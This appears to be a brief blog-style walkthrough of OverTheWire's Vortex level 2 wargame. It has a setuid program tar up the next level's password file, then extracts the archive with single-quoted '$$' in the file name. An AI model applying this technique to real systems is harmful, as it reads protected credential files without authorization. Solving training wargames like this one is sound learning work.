http://www.overthewire.org/wargames/vortex/vortex2.shtml
I won't paste the origin question now.
Solution:
Just execute /vortex/vortex2 by passing next key file to let the program tar the file into package.
vortex2@melissa:/etc/vortex_pass$ /vortex/vortex2 vortex3 aa aa
vortex2@melissa:/tmp/aay$ tar -xvf /tmp/ownership.$$.tar
tar: /tmp/ownership.28705.tar: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
vortex2@melissa:/tmp/aay$ tar -xvf '/tmp/ownership.$$.tar'
vortex3
Try to enclose the filename by single quato.